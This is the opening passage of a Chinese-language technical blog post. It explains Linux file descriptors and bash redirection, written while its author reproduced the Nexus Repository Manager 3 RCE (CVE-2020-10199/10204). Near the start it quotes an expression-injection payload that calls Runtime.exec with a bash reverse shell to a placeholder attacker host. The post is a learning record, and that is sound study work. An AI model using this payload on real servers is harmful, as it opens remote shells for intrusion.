0x00 前言
在自己学习复现 Nexus Repository Manager 3 RCE 漏洞的时候(CVE-2020-10199/10204)
由于自己对 Java 的 Runtime.exec() 执行命令以及反弹shell理解的太过于浅薄,使用了以下语句无法反弹shell,踩了很多坑
$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('bash -i >& /dev/tcp/xx.xx.xx.xx/6543 0>&1')}
此处记录一下查阅一些资料和实践后学习到的东西。如有错误,请各位师傅指正
0x01 文件描述符
Q:首先什么是文件?
A:在 Linux 下,一切皆为文件,就连键盘显示器设备都是文件,它们的输入输出都是由文件描述符控制
文件描述符 (简称 fd) :在Linux系统中,当某个程序打开文件时,操作系统返回相应的文件描述符,程序为了处理该文件必须引用此描述符。
而Linux 启动文件的时候,会默认打开三个文件描述符
文件描述0 表示标准输入
文件描述1 表示标准输出
文件描述2 表示标准错误
image
/dev/tty0 泛指当前终端
当我们需要让输出不显示在当前TTY上,而是输出到文件或者其他设备,此时我们便需要重定向
0x02 重定向
在执行命令之前,可以使用 shell 可解释的特殊符号来重定向其输入/输出。重定向允许复制、打开、关闭命令的文件句柄,使其引用不同的文件,并且可以更改命令读取和写入的文件。也就是说,先进行重定向,再执行命令
重定向按照从左到右的顺序执行
最后,若省略文件描述符,< 表示对标准输入(文件描述符0)的重定向,> 表示对标准输出(文件描述符1)的重定向
输入重定向
下文中的所有原文都是 bash 5.0 手册里写道
Redirection of input causes the file whose name results from the expansion of